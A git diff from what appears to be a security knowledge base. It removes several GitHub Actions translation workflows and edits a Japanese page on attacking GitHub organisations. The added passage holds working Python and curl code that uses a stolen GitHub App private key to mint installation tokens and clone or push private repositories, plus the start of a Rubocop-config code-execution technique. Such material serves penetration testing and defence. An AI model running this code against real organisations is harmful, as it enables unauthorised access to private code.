-jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index f3c5359c1..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 293f113e2..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index 76f12ba6a..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 7bcc24dfa..d7ea5b19c 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -16,17 +16,17 @@ basic-github-information.md Githubリポジトリは、公開、非公開、内部として設定できます。 -- **非公開**は、**組織**の人だけがアクセスできることを意味します。 -- **内部**は、**エンタープライズ**の人(エンタープライズには複数の組織がある場合があります)だけがアクセスできることを意味します。 +- **非公開**は、**組織**の人々だけがアクセスできることを意味します。 +- **内部**は、**エンタープライズ**(エンタープライズは複数の組織を持つことがあります)の人々だけがアクセスできることを意味します。 - **公開**は、**全インターネット**がアクセスできることを意味します。 -**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、各リポジトリで**機密情報や機密情報の漏洩**を検索できます。 +**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、各リポジトリで**機密情報の漏洩**を検索できます。 ### Github Dorks -Githubは、**ユーザー、リポジトリ、または組織を指定して何かを検索する**ことを許可します。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索**できます。 +Githubは、**ユーザー、リポジトリ、または組織を指定して何かを検索することを許可します**。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索できます**。 -ツール(各ツールにはそのdorkのリストがあります): +ツール(各ツールにはそのdorkのリストが含まれています): - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) @@ -36,26 +36,20 @@ Githubは、**ユーザー、リポジトリ、または組織を指定して何 github dorksは、githubの検索オプションを使用して漏洩を検索するためにも使用されることに注意してください。このセクションは、**各リポジトリをダウンロードし、その中で機密情報を検索する**ツールに専念しています(特定のコミットの深さをチェックすることも含まれます)。 -ツール(各ツールにはその正規表現のリストがあります): +ツール(各ツールにはその正規表現のリストが含まれています): -- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) -- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) -- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) -- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) -- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) -- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) +このページを確認してください: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)** > [!WARNING] -> リポジトリで漏洩を探し、`git log -p`のようなコマンドを実行する際には、**他のコミットを含む他のブランチ**が存在する可能性があることを忘れないでください! +> リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際、**他のコミットを含む他のブランチ**が存在する可能性があることを忘れないでください! ### External Forks -**プルリクエストを悪用してリポジトリを妥協する**ことが可能です。リポジトリが脆弱かどうかを知るには、主にGithub Actionsのyaml設定を読む必要があります。[**この下に詳細があります**](./#execution-from-a-external-fork)。 +**プルリクエストを悪用してリポジトリを妥協する**ことが可能です。リポジトリが脆弱かどうかを知るには、主にGithub Actionsのyaml設定を読む必要があります。[**この下に詳細があります**](#execution-from-a-external-fork)。 ### Github Leaks in deleted/internal forks -削除されたリポジトリや内部リポジトリから機密データを取得することが可能な場合があります。ここで確認してください: +削除されたリポジトリや内部リポジトリからも、Githubリポジトリのフォークから機密データを取得できる可能性があります。ここで確認してください: {{#ref}} accessible-deleted-data-in-github.md @@ -65,7 +59,7 @@ accessible-deleted-data-in-github.md ### Member Privileges -組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ `https://github.com/organizations//settings/member_privileges` または [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) から制御できます。 +組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ`https://github.com/organizations//settings/member_privileges`または[**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)から制御できます。 - **基本的な権限**: メンバーは、組織のリポジトリに対してNone/Read/write/Adminの権限を持ちます。推奨は**None**または**Read**です。 - **リポジトリのフォーク**: 必要でない場合、メンバーが組織のリポジトリをフォークすることを**許可しない方が良い**です。 @@ -74,24 +68,24 @@ accessible-deleted-data-in-github.md - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ - **リポジトリの可視性変更**: 有効にすると、**リポジトリ**の**管理者**権限を持つ**メンバー**が**可視性を変更**できるようになります。無効にすると、組織の所有者のみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ -- **リポジトリの削除と移行**: 有効にすると、リポジトリの**管理者**権限を持つメンバーが公開および非公開の**リポジトリを削除**または**移行**できるようになります。 +- **リポジトリの削除と転送**: 有効にすると、リポジトリの**管理者**権限を持つメンバーが公開および非公開の**リポジトリを削除**または**転送**できるようになります。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ - **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織の所有者のみが新しいチームを作成できます。これを無効にしておく方が良いです。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ -- **このページで他の設定も可能ですが、前述のものが最もセキュリティに関連しています。** +- **他にも設定できることがあります**が、前述のものが最もセキュリティに関連しています。 ### Actions Settings -いくつかのセキュリティ関連の設定は、ページ `https://github.com/organizations//settings/actions` から構成できます。 +いくつかのセキュリティ関連の設定は、ページ`https://github.com/organizations//settings/actions`から構成できます。 > [!NOTE] > これらの設定は、各リポジトリでも独立して設定できることに注意してください。 -- **Github actionsポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションを実行することを許可しない方が良いです。 +- **Github actionsポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションが実行されることを許可しない方が良いです。 - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **外部コラボレーターからのフォークプルリクエストワークフロー**: すべての外部コラボレーターに対して**承認を要求する**ことを推奨します。 - _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_ -- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーに、ソースリポジトリに対する読み取り権限を持つトークンを使用する能力が与えられるためです。 +- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーにソースリポジトリに対する読み取り権限を持つトークンを使用する能力が与えられるためです。 - _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_ - **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みやプルリクエストの作成/承認権限を与えることは推奨されません。 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) @@ -105,7 +99,7 @@ _この情報にアクセスするためのAPIエンドポイントを知って ## Recon & Attacks abusing credentials -このシナリオでは、githubアカウントへのアクセスを取得したと仮定します。 +このシナリオでは、Githubアカウントへのアクセスを取得したと仮定します。 ### With User Credentials @@ -116,91 +110,241 @@ _この情報にアクセスするためのAPIエンドポイントを知って > [!NOTE] > `user_session`クッキーを**盗むことに成功した場合**(現在SameSite: Laxで設定されています)、資格情報や2FAなしで**ユーザーを完全に偽装**できます。 -役立つ場合に備えて、以下のセクションで[**ブランチ保護のバイパス**](./#branch-protection-bypass)について確認してください。 +役立つ場合に備えて、[**ブランチ保護のバイパス**](#branch-protection-bypass)に関するセクションを確認してください。 ### With User SSH Key -Githubは、**ユーザー**が**SSHキー**を設定し、コードをデプロイするための**認証方法**として使用できるようにしています(2FAは適用されません)。 +Githubは、**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます(2FAは適用されません)。 -このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、**ローカル設定を列挙して**、アクセスできるリポジトリやユーザーに関する情報を取得できます。 +このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、Github APIにアクセスして環境を列挙するために使用することはできません。ただし、アクセスできるリポジトリやユーザーに関する情報を取得するために、**ローカル設定を列挙する**ことができます。 ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 +ユーザーが自分のGitHubユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 -**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が関連する鍵に関する情報を提供します。 +**SSH鍵**はリポジトリに**デプロイ鍵**として設定することもできます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する**ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が関連する鍵に関する情報を提供します。 #### GPG鍵 [**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 -現在のユーザーが任意の鍵を持っているかどうかをローカルで確認してください: +現在のユーザーが鍵を持っているかどうかをローカルで確認してください: ```shell gpg --list-secret-keys --keyid-format=long ``` -### With User Token +### ユーザートークンを使用して -[**ユーザートークンの基本情報については、こちらを確認してください**](basic-github-information.md#personal-access-tokens)の紹介。 +[**ユーザートークンの基本情報についてはここを確認してください**](basic-github-information.md#personal-access-tokens) 。 -ユーザートークンは、HTTPS経由のGitの**パスワードの代わりに使用**できるか、または[**基本認証を介してAPIに認証するために使用**](https://docs.github.com/v3/auth/#basic-authentication)できます。付与された権限に応じて、さまざまなアクションを実行できる場合があります。 +ユーザートークンは、HTTPS経由のGitの**パスワードの代わり**に使用できるか、[**基本認証を介してAPIに認証するために使用できます**](https://docs.github.com/v3/auth/#basic-authentication)。それに付随する権限によって、異なるアクションを実行できる場合があります。 ユーザートークンは次のようになります: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -### With Oauth Application +### Oauthアプリケーションを使用して -[**Github Oauthアプリケーションの基本情報については、こちらを確認してください**](basic-github-information.md#oauth-applications)の紹介。 +[**Github Oauthアプリケーションの基本情報についてはここを確認してください**](basic-github-information.md#oauth-applications) 。 -攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データやアクションにアクセスすることがあります。 +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。 -これらは、[Oauthアプリケーションが要求できるスコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。常に要求されたスコープを確認してから受け入れるべきです。 +Oauthアプリケーションが要求できる[スコープはこちらです](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)。受け入れる前に、要求されたスコープを常に確認する必要があります。 さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。 -### With Github Application +### Githubアプリケーションを使用して -[**Githubアプリケーションの基本情報については、こちらを確認してください**](basic-github-information.md#github-applications)の紹介。 +[**Githubアプリケーションの基本情報についてはここを確認してください**](basic-github-information.md#github-applications) 。 -攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データやアクションにアクセスすることがあります。 +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。 さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。 -## Compromise & Abuse Github Action +#### プライベートキーを使用してGitHubアプリを偽装する (JWT → インストールアクセストークン) -Github Actionを妨害し悪用するためのいくつかの技術があります。ここで確認してください: +GitHubアプリのプライベートキー (PEM) を取得すると、そのアプリをすべてのインストールで完全に偽装できます: + +- プライベートキーで署名された短命のJWTを生成する +- GitHubアプリREST APIを呼び出してインストールを列挙する +- インストールごとのアクセストークンを発行し、それを使用してそのインストールに付与されたリポジトリをリスト/クローン/プッシュする + +要件: +- GitHubアプリプライベートキー (PEM) +- GitHubアプリID (数値)。GitHubはissをアプリIDにすることを要求します + +JWTを作成する (RS256): +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): +now = int(time.time()) +payload = { +"iat": now - 60, +"exp": now + 600 - 60, # ≤10 minutes +"iss": APP_ID, +} +return jwt.encode(payload, signing_key, algorithm="RS256") +``` +認証されたアプリのインストールをリストします: +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations +``` +インストールアクセストークンを作成する(有効期限 ≤ 10 分): +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ +-H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` +トークンを使用してコードにアクセスします。x‑access‑token URL形式を使用してクローンまたはプッシュできます: +```bash +TOKEN=ghs_... +REPO=owner/name +git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` +特定の組織をターゲットにし、プライベートリポジトリをリストするためのプログラムによるPoC(PyGithub + PyJWT): +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): +now = int(time.time()) +payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} +return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( +f"https://api.github.com/app/installations/{installation.id}/access_tokens", +headers={ +"Accept": "application/vnd.github+json", +"Authorization": f"Bearer {jwt_tok}", +"X-GitHub-Api-Version": "2022-11-28", +}, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): +print(f"* {repo.full_name} (private={repo.private})") +clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" +print(clone_url) +``` +ノート: +- インストールトークンは、アプリのリポジトリレベルの権限を正確に継承します(例: contents: write, pull_requests: write) +- トークンは≤10分で期限切れになりますが、プライベートキーを保持している限り、新しいトークンを無限に発行できます +- JWTを使用してREST API(GET /app/installations)経由でインストールを列挙することもできます + +## Github Actionの妥協と悪用 + +Github Actionを妥協し悪用するためのいくつかの技術があります。ここで確認してください: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## 外部ツールを実行するサードパーティのGitHubアプリの悪用(Rubocop拡張RCE) -- **承認の数を要求**: 複数のアカウントを妨害した場合、他のアカウントから自分のPRを承認することができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。 -- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを承認できます。_ -- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージできます。 -- **Code Ownersからのレビューを要求**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、その後自分で承認する**ことができます。 -- **CODEOWNERファイルが誤設定されている場合**: Githubは文句を言いませんが、それを使用しません。したがって、誤設定されている場合は、**Code Ownersの保護が適用されません。** -- **指定されたアクターがプルリクエストの要件をバイパスできるようにする**: あなたがこれらのアクターの1人であれば、プルリクエストの保護をバイパスできます。 -- **管理者を含める**: これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。 -- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認してすべてをマージ**できるかもしれません。 -- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして保護を再設定**できます。 -- **プッシュ保護のバイパス**: リポジトリが**特定のユーザーのみ**がブランチにプッシュ(コードをマージ)できるようにしている場合(ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード`*`を指定しています)。 -- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成できます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。 +一部のGitHubアプリやPRレビューサービスは、リポジトリ制御の設定ファイルを使用してプルリクエストに対して外部リンター/SASTを実行します。サポートされているツールが動的コード読み込みを許可する場合、PRはサービスのランナー上でRCEを達成できます。 -## Bypass Environments Protections +例: RubocopはYAML設定から拡張機能を読み込むことをサポートしています。サービスがリポジトリ提供の.rubocop.ymlを通過させると、ローカルファイルを要求することで任意のRubyを実行できます。 -[**Github環境の基本情報については、こちらを確認してください**](basic-github-information.md#git-environments)。 +- トリガー条件には通常以下が含まれます: +- ツールがサービスで有効になっている +- PRにツールが認識するファイルが含まれている(Rubocopの場合: .rb) +- リポジトリにツールの設定ファイルが含まれている(Rubocopはどこにでも.rubocop.ymlを検索します) 